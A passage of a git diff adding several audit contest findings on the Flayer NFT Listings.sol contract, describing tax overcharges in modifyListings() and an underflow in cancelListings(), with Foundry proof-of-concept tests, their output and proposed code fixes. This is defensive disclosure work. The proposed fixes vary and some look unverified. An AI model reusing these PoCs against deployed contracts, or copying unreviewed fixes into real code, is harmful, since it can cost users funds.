+It is recommended to modify the `Listings.sol#modifyListings()` function to update the `listing.created` timestamp when `params.duration == 0` and `params.floorMultiple != listing.floorMultiple`.
+```solidity
+ function modifyListings(address _collection, ModifyListing[] calldata _modifyListings, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused returns (uint taxRequired_, uint refund_) {
+ uint fees;
+
+ for (uint i; i < _modifyListings.length; ++i) {
+ // Store the listing
+ SNIP...
+
+ // Check if we are altering the duration of the listing
+ if (params.duration != 0) {
+ // Ensure that the requested duration falls within our listing range
+ if (params.duration < MIN_LIQUID_DURATION) revert ListingDurationBelowMin(params.duration, MIN_LIQUID_DURATION);
+ if (params.duration > MAX_LIQUID_DURATION) revert ListingDurationExceedsMax(params.duration, MAX_LIQUID_DURATION);
+
+ emit ListingExtended(_collection, params.tokenId, listing.duration, params.duration);
+
+--- listing.created = uint40(block.timestamp);
+ listing.duration = params.duration;
+ }
+
++++ listing.created = uint40(block.timestamp);
+
+ // Check if the floor multiple price has been updated
+ if (params.floorMultiple != listing.floorMultiple) {
+ // If we are creating a listing, and not performing an instant liquidation (which
+ // would be done via `deposit`), then we need to ensure that the `floorMultiple` is
+ // greater than 1.
+ if (params.floorMultiple <= MIN_FLOOR_MULTIPLE) revert FloorMultipleMustBeAbove100(params.floorMultiple);
+ if (params.floorMultiple > MAX_FLOOR_MULTIPLE) revert FloorMultipleExceedsMax(params.floorMultiple, MAX_FLOOR_MULTIPLE);
+
+ emit ListingFloorMultipleUpdated(_collection, params.tokenId, listing.floorMultiple, params.floorMultiple);
+
+ listing.floorMultiple = params.floorMultiple;
+ }
+
+ // Get the amount of tax required for the newly extended listing
+ taxRequired_ += getListingTaxRequired(listing, _collection);
+ }
+
+ SNIP...
+ }
+```
\ No newline at end of file
diff --git a/004/163.md b/004/163.md
new file mode 100644
index 0000000..8aa8e1b
--- /dev/null
+++ b/004/163.md
@@ -0,0 +1,155 @@
+Stable Chili Ferret
+
+High
+
+# Underflow in `Listings.sol#cancelListing()` function
+
+### Summary
+
+Underflow may occur because the `_refund` returned by the `Listings.sol#_resolveListingTax()` function may be greater than 1 ether.
+
+
+### Root Cause
+
+The root cause is the calculation result of `1 Ether - refund` in the `Listings.sol#cancelListing()` function.
+
+
+### Internal pre-conditions
+
+- `refund` is bigger than 1 ether.
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+`_refund` is calculated by `duration` and `floorMultiple` in the [`Listings.sol#_resolveListingTax()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L918-L956) function, so it is likely to be larger than 1 Ether.
+
+In this case, the transaction may be reverted due to underflow at #L451.
+
+### Impact
+
+Users may not be able to cancel their Listings in a timely manner, which may result in unexpected losses to collateral.
+
+
+### PoC
+
+```solidity
+ function test_CannotCancelMultipleListings() public {
+ // Provide us with some base tokens that we can use to tax later on
+ uint startBalance = 1 ether;
+ deal(address(locker.collectionToken(address(erc721a))), address(this), startBalance * 10000);
+ locker.collectionToken(address(erc721a)).approve(address(listings), type(uint).max);
+
+ uint[] memory tokenIds = new uint[](4);
+ for (uint i; i < tokenIds.length; ++i) {
+ tokenIds[i] = i;
+ erc721a.mint(address(this), i);
+ }
+ erc721a.setApprovalForAll(address(listings), true);
+
+ // Set up multiple listings
+ IListings.CreateListing[] memory _listings = new IListings.CreateListing[](1);
+ _listings[0] = IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: tokenIds,
+ listing: IListings.Listing({
+ owner: payable(address(this)),
+ created: uint40(block.timestamp),
+ duration: 7 days,
+ floorMultiple: 120
+ })
+ });
+
+ // Create our listings
+ listings.createListings(_listings);
+
+ vm.warp(block.timestamp + (VALID_LIQUID_DURATION / 2));
+
+ IListings.ModifyListing[] memory params = new IListings.ModifyListing[](4);
+ params[0] = IListings.ModifyListing(0, 21 days, 1000);
+ params[1] = IListings.ModifyListing(1, 21 days, 1000);
+ params[2] = IListings.ModifyListing(2, 21 days, 1000);
+ params[3] = IListings.ModifyListing(3, 21 days, 1000);
+
+ listings.modifyListings(address(erc721a), params, true);
+
+ // Cancel our listings
+ listings.cancelListings(address(erc721a), tokenIds, false);
+ }
+```
+
+Result:
+```solidity
+Ran 1 test suite in 10.33ms (8.79ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
+
+Failing tests:
+Encountered 1 failing test in test/Listings.t.sol:ListingsTest
+[FAIL. Reason: panic: arithmetic underflow or overflow (0x11)] test_CannotCancelMultipleListings() (gas: 1814250)
+```
+
+
+### Mitigation
+
+It is recommended to modify the `Listings.sol#cancelListing()` function as follows:
+```solidity
+ function cancelListings(address _collection, uint[] memory _tokenIds, bool _payTaxWithEscrow) public lockerNotPaused {
+ uint fees;
+ uint refund;
+
+ for (uint i; i < _tokenIds.length; ++i) {
+ uint _tokenId = _tokenIds[i];
+
+ // Read the listing in a single read
+ Listing memory listing = _listings[_collection][_tokenId];
+
+ // Ensure the caller is the owner of the listing
+ if (listing.owner != msg.sender) revert CallerIsNotOwner(listing.owner);
+
+ // We cannot allow a dutch listing to be cancelled. This will also check that a liquid listing has not
+ // expired, as it will instantly change to a dutch listing type.
+ Enums.ListingType listingType = getListingType(listing);
+ if (listingType != Enums.ListingType.LIQUID) revert CannotCancelListingType();
+
+ // Find the amount of prepaid tax from current timestamp to prepaid timestamp
+ // and refund unused gas to the user.
+ (uint _fees, uint _refund) = _resolveListingTax(listing, _collection, false);
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+
+ fees += _fees;
+ refund += _refund;
+
+ // Delete the listing objects
+ delete _listings[_collection][_tokenId];
+
+ // Transfer the listing ERC721 back to the user
+ locker.withdrawToken(_collection, _tokenId, msg.sender);
+ }
+
+ // cache
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ // Burn the ERC20 token that would have been given to the user when it was initially created
+--- uint requiredAmount = ((1 ether * _tokenIds.length) * 10 ** collectionToken.denomination()) - refund;
++++ uint requiredAmount = getListingTaxRequired(listing, _collection) - refund;
+ payTaxWithEscrow(address(collectionToken), requiredAmount, _payTaxWithEscrow);
+ collectionToken.burn(requiredAmount + refund);
+
+ // Give some partial fees to the LP
+ if (fees != 0) {
+ collectionToken.approve(address(locker.implementation()), fees);
+ locker.implementation().depositFees(_collection, 0, fees);
+ }
+
+ // Remove our listing type
+ unchecked {
+ listingCount[_collection] -= _tokenIds.length;
+ }
+
+ // Create our checkpoint as utilisation rates will change
+ protectedListings.createCheckpoint(_collection);
+
+ emit ListingsCancelled(_collection, _tokenIds);
+ }
+```
\ No newline at end of file
diff --git a/004/225.md b/004/225.md
new file mode 100644
index 0000000..edf5986
--- /dev/null
+++ b/004/225.md
@@ -0,0 +1,232 @@
+Shiny Mint Lion
+
+High
+
+# There is a calculation error inside the modifyListings() function.
+
+## Summary
+There is a calculation error inside the modifyListings() function, causing users to overpay tax.
+## Vulnerability Detail
+```javascript
+function modifyListings(address _collection, ModifyListing[] calldata _modifyListings, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused returns (uint taxRequired_, uint refund_) {
+ uint fees;
+
+ for (uint i; i < _modifyListings.length; ++i) {
+ // Store the listing
+ ModifyListing memory params = _modifyListings[i];
+ Listing storage listing = _listings[_collection][params.tokenId];
+
+ // We can only modify liquid listings
+ if (getListingType(listing) != Enums.ListingType.LIQUID) revert InvalidListingType();
+
+ // Ensure the caller is the owner of the listing
+ if (listing.owner != msg.sender) revert CallerIsNotOwner(listing.owner);
+
+ // Check if we have no changes, as we can continue our loop early
+@>> if (params.duration == 0 && params.floorMultiple == listing.floorMultiple) {
+ continue;
+ }
+
+ // Collect tax on the existing listing
+@>> (uint _fees, uint _refund) = _resolveListingTax(listing, _collection, false);
+ emit ListingFeeCaptured(_collection, params.tokenId, _fees);
+
+ fees += _fees;
+ refund_ += _refund;
+
+ // Check if we are altering the duration of the listing
+@>> if (params.duration != 0) {
+ // Ensure that the requested duration falls within our listing range
+ if (params.duration < MIN_LIQUID_DURATION) revert ListingDurationBelowMin(params.duration, MIN_LIQUID_DURATION);
+ if (params.duration > MAX_LIQUID_DURATION) revert ListingDurationExceedsMax(params.duration, MAX_LIQUID_DURATION);
+
+ emit ListingExtended(_collection, params.tokenId, listing.duration, params.duration);
+
+ listing.created = uint40(block.timestamp);
+ listing.duration = params.duration;
+ }
+
+ // Check if the floor multiple price has been updated
+ if (params.floorMultiple != listing.floorMultiple) {
+ // If we are creating a listing, and not performing an instant liquidation (which
+ // would be done via `deposit`), then we need to ensure that the `floorMultiple` is
+ // greater than 1.
+ if (params.floorMultiple <= MIN_FLOOR_MULTIPLE) revert FloorMultipleMustBeAbove100(params.floorMultiple);
+ if (params.floorMultiple > MAX_FLOOR_MULTIPLE) revert FloorMultipleExceedsMax(params.floorMultiple, MAX_FLOOR_MULTIPLE);
+
+ emit ListingFloorMultipleUpdated(_collection, params.tokenId, listing.floorMultiple, params.floorMultiple);
+
+ listing.floorMultiple = params.floorMultiple;
+ }
+
+ // Get the amount of tax required for the newly extended listing
+@>> taxRequired_ += getListingTaxRequired(listing, _collection);
+ }
+
+ // cache
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ // If our tax refund does not cover the full amount of tax required, then we will need to make an
+ // additional tax payment.
+ if (taxRequired_ > refund_) {
+ unchecked {
+ payTaxWithEscrow(address(collectionToken), taxRequired_ - refund_, _payTaxWithEscrow);
+ }
+ refund_ = 0;
+ } else {
+ unchecked {
+ refund_ -= taxRequired_;
+ }
+ }
+
+ // Check if we have fees to be paid from the listings
+ if (fees != 0) {
+ collectionToken.approve(address(locker.implementation()), fees);
+ locker.implementation().depositFees(_collection, 0, fees);
+ }
+
+ // If there is tax to refund after paying the new tax, then allocate it to the user via escrow
+ if (refund_ != 0) {
+ _deposit(msg.sender, address(collectionToken), refund_);
+ }
+ }
+```
+In the modifyListings() function, when params.duration == 0, it indicates that the duration of the listing does not need to be changed and should remain the same.
+```javascript
+ // Collect tax on the existing listing
+@>> (uint _fees, uint _refund) = _resolveListingTax(listing, _collection, false);
+ emit ListingFeeCaptured(_collection, params.tokenId, _fees);
+```
+These lines of code within the function calculate the tax that has already been incurred.
+
+```javascript
+ // Get the amount of tax required for the newly extended listing
+@>> taxRequired_ += getListingTaxRequired(listing, _collection);
+
+```
+The line of code in the function calculates the amount of tax required for the newly extended listing. However, since some time has already passed, the duration has changed.
+
+The issue arises in the scenario where params.duration == 0. Although time has passed and the actual duration has shortened, the listing.duration remains unchanged. This causes taxRequired_ to still be calculated based on the original listing.duration, resulting in an inflated taxRequired.
+
+Even more problematic is that when calling cancelListings() to cancel the listing or fillListings() to complete the listing, both internally call _resolveListingTax() to calculate the tax. This leads to an overcalculation of the user’s tax, causing the user to overpay.
+```javascript
+function _resolveListingTax(Listing memory _listing, address _collection, bool _action) private returns (uint fees_, uint refund_) {
+ //skip---------
+ // Get the amount of tax to be refunded. If the listing has already ended
+ // then no refund will be offered.
+ if (block.timestamp < _listing.created + _listing.duration) {
+@>> refund_ = (_listing.duration - (block.timestamp - _listing.created)) * taxPaid / _listing.duration;
+ }
+
+ // Send paid tax fees to the {FeeCollector}
+ unchecked {
+ fees_ = (taxPaid > refund_) ? taxPaid - refund_ : 0;
+ }
+
+ //--------------skip-------------
+ }
+```
+This is because _resolveListingTax() always calculates based on the original listing.created and listing.duration. When params.duration == 0, the listing.created and listing.duration values also need to be updated.
+
+#### poc
+Let’s assume a listing has a floorMultiple of 200 and a duration of 30 days.
+
+(1) After 10 days have passed, the user adjusts the floorMultiple to 400, and params.duration is set to 0, meaning the duration should not be changed. In this case, taxRequired is still calculated using the original listing.duration (30 days), which causes the taxRequired to be inflated.
+
+(2) Now, assume another 10 days pass, and the user cancels the listing. The refund is calculated by _resolveListingTax() as taxPaid * (30 - 20) / 30, but it should actually be taxPaid * (20 - 10) / 20. As a result, the refund is reduced, and the fees increase.
+## Impact
+When the user calls modifyListings(), both the taxRequired and the final fees paid are increased.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L303
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L918
+## Tool used
+
+Manual Review
+
+## Recommendation
+```diff
+function modifyListings(address _collection, ModifyListing[] calldata _modifyListings, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused returns (uint taxRequired_, uint refund_) {
+ uint fees;
+
+ for (uint i; i < _modifyListings.length; ++i) {
+ // Store the listing
+ ModifyListing memory params = _modifyListings[i];
+ Listing storage listing = _listings[_collection][params.tokenId];
+
+ // We can only modify liquid listings
+ if (getListingType(listing) != Enums.ListingType.LIQUID) revert InvalidListingType();
+
+ // Ensure the caller is the owner of the listing
+ if (listing.owner != msg.sender) revert CallerIsNotOwner(listing.owner);
+
+ // Check if we have no changes, as we can continue our loop early
+- if (params.duration == 0 && params.floorMultiple == listing.floorMultiple) {
++ if (params.duration == listing.duration && params.floorMultiple == listing.floorMultiple) {
+ continue;
+ }
+
+ // Collect tax on the existing listing
+ (uint _fees, uint _refund) = _resolveListingTax(listing, _collection, false);
+ emit ListingFeeCaptured(_collection, params.tokenId, _fees);
+
+ fees += _fees;
+ refund_ += _refund;
+
+ // Check if we are altering the duration of the listing
+- if (params.duration != 0) {
+ // Ensure that the requested duration falls within our listing range
+ if (params.duration < MIN_LIQUID_DURATION) revert ListingDurationBelowMin(params.duration, MIN_LIQUID_DURATION);
+ if (params.duration > MAX_LIQUID_DURATION) revert ListingDurationExceedsMax(params.duration, MAX_LIQUID_DURATION);
+
+ emit ListingExtended(_collection, params.tokenId, listing.duration, params.duration);
+
+ listing.created = uint40(block.timestamp);
+ listing.duration = params.duration;
+- }
+
+ // Check if the floor multiple price has been updated
+ if (params.floorMultiple != listing.floorMultiple) {
+ // If we are creating a listing, and not performing an instant liquidation (which
+ // would be done via `deposit`), then we need to ensure that the `floorMultiple` is
+ // greater than 1.
+ if (params.floorMultiple <= MIN_FLOOR_MULTIPLE) revert FloorMultipleMustBeAbove100(params.floorMultiple);
+ if (params.floorMultiple > MAX_FLOOR_MULTIPLE) revert FloorMultipleExceedsMax(params.floorMultiple, MAX_FLOOR_MULTIPLE);
+
+ emit ListingFloorMultipleUpdated(_collection, params.tokenId, listing.floorMultiple, params.floorMultiple);
+
+ listing.floorMultiple = params.floorMultiple;
+ }
+
+ // Get the amount of tax required for the newly extended listing
+ taxRequired_ += getListingTaxRequired(listing, _collection);
+ }
+
+ // cache
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ // If our tax refund does not cover the full amount of tax required, then we will need to make an
+ // additional tax payment.
+ if (taxRequired_ > refund_) {
+ unchecked {
+ payTaxWithEscrow(address(collectionToken), taxRequired_ - refund_, _payTaxWithEscrow);
+ }
+ refund_ = 0;
+ } else {
+ unchecked {
+ refund_ -= taxRequired_;
+ }
+ }
+
+ // Check if we have fees to be paid from the listings
+ if (fees != 0) {
+ collectionToken.approve(address(locker.implementation()), fees);
+ locker.implementation().depositFees(_collection, 0, fees);
+ }
+
+ // If there is tax to refund after paying the new tax, then allocate it to the user via escrow
+ if (refund_ != 0) {
+ _deposit(msg.sender, address(collectionToken), refund_);
+ }
+ }
+```
\ No newline at end of file
diff --git a/004/289.md b/004/289.md
new file mode 100644
index 0000000..65aa51a
--- /dev/null
+++ b/004/289.md
@@ -0,0 +1,93 @@
+Mythical Gauze Lizard
+
+Medium
+
+# Users who use `modifyListings()` will lose funds.
+
+### Summary
+
+The user calls [`modifyListings()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L305) of `Listings.sol` to modify listing of `Listings.sol`. At this time if duration is 0, `listing.created` is not updated to `block.timestamp`. So when the user calls function that calls `_resolveListingTax()`, user will lose funds.
+
+### Root Cause
+
+`listing.created` is not updated in `modifyListings()` of `Listings.sol`
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+User inputs duration as 0.
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Because `listing.created` is not updated in `modifyListings()`, user will lose funds.
+
+
+### PoC
+
+```solidity
+ function test_ModifyNotUpdateCreated(uint _tokenId, uint32 _extendedDuration) public {
+ // Ensure that we don't get a token ID conflict
+ _assumeValidTokenId(_tokenId);
+
+ // Determine a varied extended duration
+ _extendedDuration = uint32(bound(_extendedDuration, listings.MIN_LIQUID_DURATION(), listings.MAX_LIQUID_DURATION()));
+
+ // Flatten our token balance before processing for ease of calculation
+ ICollectionToken token = locker.collectionToken(address(erc721a));
+ deal(address(token), address(this), 0);
+
+ // Mint our token to the _owner and approve the {Listings} contract to use it
+ erc721a.mint(address(this), _tokenId);
+ erc721a.approve(address(listings), _tokenId);
+
+ // Create a liquid listing
+ _createListing({
+ _listing: IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: IListings.Listing({
+ owner: payable(address(this)),
+ created: uint40(block.timestamp),
+ duration: VALID_LIQUID_DURATION,
+ floorMultiple: 110
+ })
+ })
+ });
+
+ // Load some initial data so we can calculate the event parameters
+ IListings.Listing memory _listing = listings.listings(address(erc721a), _tokenId);
+
+ // Warp slightly to trigger tax calculations if present when extending listing
+ vm.warp(block.timestamp + (VALID_LIQUID_DURATION / 2));
+
+ // Approve our {CollectionToken} to be used by the {Listing} contract
+ token.approve(address(listings), type(uint).max);
+
+ // Get the amount of tax that should be paid on a `VALID_LIQUID_DURATION`
+ uint initialTax = taxCalculator.calculateTax(address(erc721a), 110, VALID_LIQUID_DURATION);
+
+ // Confirm our ERC20 holdings before listing extension
+ assertEq(token.balanceOf(address(this)), 1 ether - initialTax, 'Incorrect start balance');
+ assertEq(listings.balances(address(this), address(token)), 0, 'Incorrect start escrow');
+
+ // Extend our listing by the set amount
+ _modifyListing(address(erc721a), _tokenId, 0, 110);
+
+ // Calculate the tax required to extend our listing
+ uint extendTax = taxCalculator.calculateTax(address(erc721a), 110, _listing.duration);
+
+ uint refund = (_listing.duration - (block.timestamp - _listing.created)) * extendTax / _listing.duration;
+ assertEq(refund, extendTax);
+ }
+```
+
+### Mitigation
+
+Pls update `listing.created` in `modifyListings()` when duration is 0.
\ No newline at end of file
diff --git a/004/340.md b/004/340.md
new file mode 100644
index 0000000..7d11258
--- /dev/null
+++ b/004/340.md
@@ -0,0 +1,179 @@
+Delightful Foggy Panda
+
+High
+
+# A user loses funds when he modifies only price of listings.
+
+## Summary
+When user modifies only price of listings, the protocol applies more taxes than normal.
+
+## Vulnerability Detail
+`Listings.sol#modifiyListings()` function is as follows.
+```solidity
+ function modifyListings(address _collection, ModifyListing[] calldata _modifyListings, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused returns (uint taxRequired_, uint refund_) {
+ uint fees;
+
+ for (uint i; i < _modifyListings.length; ++i) {
+ // Store the listing
+ ModifyListing memory params = _modifyListings[i];
+ Listing storage listing = _listings[_collection][params.tokenId];
+
+ // We can only modify liquid listings
+ if (getListingType(listing) != Enums.ListingType.LIQUID) revert InvalidListingType();
+
+ // Ensure the caller is the owner of the listing
+ if (listing.owner != msg.sender) revert CallerIsNotOwner(listing.owner);
+
+ // Check if we have no changes, as we can continue our loop early
+ if (params.duration == 0 && params.floorMultiple == listing.floorMultiple) {
+ continue;
+ }
+
+ // Collect tax on the existing listing
+323 (uint _fees, uint _refund) = _resolveListingTax(listing, _collection, false);
+ emit ListingFeeCaptured(_collection, params.tokenId, _fees);
+
+ fees += _fees;
+ refund_ += _refund;
+
+ // Check if we are altering the duration of the listing
+330 if (params.duration != 0) {
+ // Ensure that the requested duration falls within our listing range
+ if (params.duration < MIN_LIQUID_DURATION) revert ListingDurationBelowMin(params.duration, MIN_LIQUID_DURATION);
+ if (params.duration > MAX_LIQUID_DURATION) revert ListingDurationExceedsMax(params.duration, MAX_LIQUID_DURATION);
+
+ emit ListingExtended(_collection, params.tokenId, listing.duration, params.duration);
+
+ listing.created = uint40(block.timestamp);
+ listing.duration = params.duration;
+ }
+
+ // Check if the floor multiple price has been updated
+342 if (params.floorMultiple != listing.floorMultiple) {
+ // If we are creating a listing, and not performing an instant liquidation (which
+ // would be done via `deposit`), then we need to ensure that the `floorMultiple` is
+ // greater than 1.
+ if (params.floorMultiple <= MIN_FLOOR_MULTIPLE) revert FloorMultipleMustBeAbove100(params.floorMultiple);
+ if (params.floorMultiple > MAX_FLOOR_MULTIPLE) revert FloorMultipleExceedsMax(params.floorMultiple, MAX_FLOOR_MULTIPLE);
+
+ emit ListingFloorMultipleUpdated(_collection, params.tokenId, listing.floorMultiple, params.floorMultiple);
+
+ listing.floorMultiple = params.floorMultiple;
+ }
+
+ // Get the amount of tax required for the newly extended listing
+355 taxRequired_ += getListingTaxRequired(listing, _collection);
+ }
+
+ // cache
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ // If our tax refund does not cover the full amount of tax required, then we will need to make an
+ // additional tax payment.
+ if (taxRequired_ > refund_) {
+ unchecked {
+ payTaxWithEscrow(address(collectionToken), taxRequired_ - refund_, _payTaxWithEscrow);
+ }
+ refund_ = 0;
+ } else {
+ unchecked {
+ refund_ -= taxRequired_;
+ }
+ }
+
+ // Check if we have fees to be paid from the listings
+ if (fees != 0) {
+ collectionToken.approve(address(locker.implementation()), fees);
+ locker.implementation().depositFees(_collection, 0, fees);
+ }
+
+ // If there is tax to refund after paying the new tax, then allocate it to the user via escrow
+ if (refund_ != 0) {
+ _deposit(msg.sender, address(collectionToken), refund_);
+ }
+ }
+```
+It calculates refund amount on L323 through `_resolveListingTax()`.
+```solidity
+ function _resolveListingTax(Listing memory _listing, address _collection, bool _action) private returns (uint fees_, uint refund_) {
+ // If we have been passed a Floor item as the listing, then no tax should be handled
+ if (_listing.owner == address(0)) {
+ return (fees_, refund_);
+ }
+
+ // Get the amount of tax in total that will have been paid for this listing
+ uint taxPaid = getListingTaxRequired(_listing, _collection);
+ if (taxPaid == 0) {
+ return (fees_, refund_);
+ }
+
+ // Get the amount of tax to be refunded. If the listing has already ended
+ // then no refund will be offered.
+ if (block.timestamp < _listing.created + _listing.duration) {
+933 refund_ = (_listing.duration - (block.timestamp - _listing.created)) * taxPaid / _listing.duration;
+ }
+
+ ...
+ }
+```
+As we can see on L933, refund amount is calculated according to remained time.
+If a user modifies with `params.duration == 0`, `listing.created` is not updated.
+But on L355, the protocol applies full tax for whole duration.
+This is wrong.
+
+## Impact
+The protocol applies more tax than normal.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L303-L384
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+`Listings.sol#modifiyListings()` function has to be modified as follows.
+```solidity
+ function modifyListings(address _collection, ModifyListing[] calldata _modifyListings, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused returns (uint taxRequired_, uint refund_) {
+ uint fees;
+
+ for (uint i; i < _modifyListings.length; ++i) {
+ // Store the listing
+ ModifyListing memory params = _modifyListings[i];
+ Listing storage listing = _listings[_collection][params.tokenId];
+
+ ...
+
+ // Check if we are altering the duration of the listing
+ if (params.duration != 0) {
+ // Ensure that the requested duration falls within our listing range
+ if (params.duration < MIN_LIQUID_DURATION) revert ListingDurationBelowMin(params.duration, MIN_LIQUID_DURATION);
+ if (params.duration > MAX_LIQUID_DURATION) revert ListingDurationExceedsMax(params.duration, MAX_LIQUID_DURATION);
+
+ emit ListingExtended(_collection, params.tokenId, listing.duration, params.duration);
+
+- listing.created = uint40(block.timestamp);
+ listing.duration = params.duration;
+ }
++ listing.created = uint40(block.timestamp);
+
+ // Check if the floor multiple price has been updated
+ if (params.floorMultiple != listing.floorMultiple) {
+ // If we are creating a listing, and not performing an instant liquidation (which
+ // would be done via `deposit`), then we need to ensure that the `floorMultiple` is
+ // greater than 1.
+ if (params.floorMultiple <= MIN_FLOOR_MULTIPLE) revert FloorMultipleMustBeAbove100(params.floorMultiple);
+ if (params.floorMultiple > MAX_FLOOR_MULTIPLE) revert FloorMultipleExceedsMax(params.floorMultiple, MAX_FLOOR_MULTIPLE);
+
+ emit ListingFloorMultipleUpdated(_collection, params.tokenId, listing.floorMultiple, params.floorMultiple);
+
+ listing.floorMultiple = params.floorMultiple;
+ }
+
+ // Get the amount of tax required for the newly extended listing
+ taxRequired_ += getListingTaxRequired(listing, _collection);
+ }
+
+ ...
+ }
+```
\ No newline at end of file
diff --git a/004/363.md b/004/363.md
new file mode 100644
index 0000000..67787a1
--- /dev/null
+++ b/004/363.md
@@ -0,0 +1,157 @@
+Skinny Coconut Parrot
+
+High
+
+# Modifying the listing price will result in an overcharge of tax.
+
+### Summary
+
+When modifying the listing price, the tax is overcharged, as the duration of the listing is not updated, and the tax of the elapsed duration will be charged again at the new price.
+
+### Root Cause
+
+When modifying the listing price only, the `listing.floorMultiple` will be set to the new price (`Listings.sol:351`), and the `listing.created` and `listing.duration` remain unchanged. Then the new tax is calculated according to the duration and the new price (`Listings.sol:355`). Since the duration remains unchanged, the taxes for the elapsed period of `block.timestamp - listing.created` will be recalculated at the new price. This leads to user to pay more taxes than he should.
+```solidity
+// Function: Listings.sol#modifyListings()
+
+ if (params.floorMultiple != listing.floorMultiple) {
+ // If we are creating a listing, and not performing an instant liquidation (which
+ // would be done via `deposit`), then we need to ensure that the `floorMultiple` is
+ // greater than 1.
+ if (params.floorMultiple <= MIN_FLOOR_MULTIPLE) revert FloorMultipleMustBeAbove100(params.floorMultiple);
+ if (params.floorMultiple > MAX_FLOOR_MULTIPLE) revert FloorMultipleExceedsMax(params.floorMultiple, MAX_FLOOR_MULTIPLE);
+
+ emit ListingFloorMultipleUpdated(_collection, params.tokenId, listing.floorMultiple, params.floorMultiple);
+
+351:@> listing.floorMultiple = params.floorMultiple;
+ }
+
+ // Get the amount of tax required for the newly extended listing
+355:@> taxRequired_ += getListingTaxRequired(listing, _collection);
+```
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L342-L355
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+_No response_
+
+### PoC
+
+1. We assume some user intend to create listings for 2 NFTs.
+2. When listing NFT-1, the user sets the `duration` to 10 days, and `floorMultiple` to 600. We say that the user receives `n1` collection tokens.
+3. When listing NFT-2, the user sets the same `duration` (10 days), but the `floorMultiple` is **halved** (300). After some time, the user modifies the price of the listing of NFT-2 to 600. We say the user receives another `n2` collection tokens.
+4. Under the same `duration`, the larger the `floorMultiple`, the larger the tax and the fewer collection tokens the user receives. So `n1` should be smaller than `n2`, but it is not.
+```solidity
+ function test_UpdateListingPrice() public {
+ uint32 _duration = 10 days;
+ uint16 _floorMultiple = 600;
+
+ // Flatten our token balance before processing for ease of calculation
+ ICollectionToken token = locker.collectionToken(address(erc721a));
+ deal(address(token), address(this), 0 ether);
+
+ erc721a.mint(address(this), 1);
+ erc721a.mint(address(this), 2);
+ assertEq(erc721a.ownerOf(1), address(this));
+ assertEq(erc721a.ownerOf(2), address(this));
+ erc721a.setApprovalForAll(address(listings), true);
+
+ uint[] memory _tokenIds = new uint[](1);
+ uint256 balance0 = token.balanceOf(address(this)); // save original balance
+
+ // create listing for token 1
+ _tokenIds[0] = 1;
+ IListings.CreateListing[] memory _listings1 = new IListings.CreateListing[](1);
+ _listings1[0] = IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIds,
+ listing: IListings.Listing({
+ owner: payable(address(this)),
+ created: uint40(block.timestamp),
+ duration: _duration, // _duration
+ floorMultiple: _floorMultiple // _floorMultiple
+ })
+ });
+ listings.createListings(_listings1);
+ uint256 balance1 = token.balanceOf(address(this)); // balance after first listing
+ console.log("For listing 1, user receives %d", balance1 - balance0);
+
+ // create listing for token 2
+ _tokenIds[0] = 2;
+ IListings.CreateListing[] memory _listings2 = new IListings.CreateListing[](1);
+ _listings2[0] = IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIds,
+ listing: IListings.Listing({
+ owner: payable(address(this)),
+ created: uint40(block.timestamp),
+ duration: _duration, // _duration
+ floorMultiple: _floorMultiple / 2 // 1/2 _floorMultiple
+ })
+ });
+ listings.createListings(_listings2);
+
+ vm.warp(block.timestamp + 1 days);
+ // Approve our {CollectionToken} to be used by the {Listing} contract
+ token.approve(address(listings), type(uint).max);
+
+ IListings.ModifyListing[] memory params = new IListings.ModifyListing[](1);
+ params[0] = IListings.ModifyListing({
+ tokenId: 2,
+ duration: 0, // do not modify duration
+ floorMultiple: _floorMultiple // modify price to _floorMultiple
+ });
+ listings.modifyListings(address(erc721a), params, false);
+ uint256 balance2 = token.balanceOf(address(this)); // balance after first listing
+ console.log("For listing 2, user receives %d", balance2 - balance1);
+
+ assertGt(balance1 - balance0, balance2 - balance1); // n1 > n2
+ }
+```
+
+Add the above test case to `Listings.t.sol`, and test it with `forge test -vv --match-test=test_UpdateListingPrice`, the reuslt is shown as:
+```solidity
+Ran 1 test for test/Listings.t.sol:ListingsTest
+[PASS] test_UpdateListingPrice() (gas: 896173)
+Logs:
+ For listing 1, user receives 771428571428571429
+ For listing 2, user receives 762500000000000000
+
+Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.06ms (1.17ms CPU time)
+
+Ran 1 test suite in 11.64ms (7.06ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
+```
+
+### Mitigation
+
+When modifing only the listing price, do not forget to update the `listing.created` and `listing.duration`.
+```solidity
+ if (params.floorMultiple != listing.floorMultiple) {
+ // If we are creating a listing, and not performing an instant liquidation (which
+ // would be done via `deposit`), then we need to ensure that the `floorMultiple` is
+ // greater than 1.
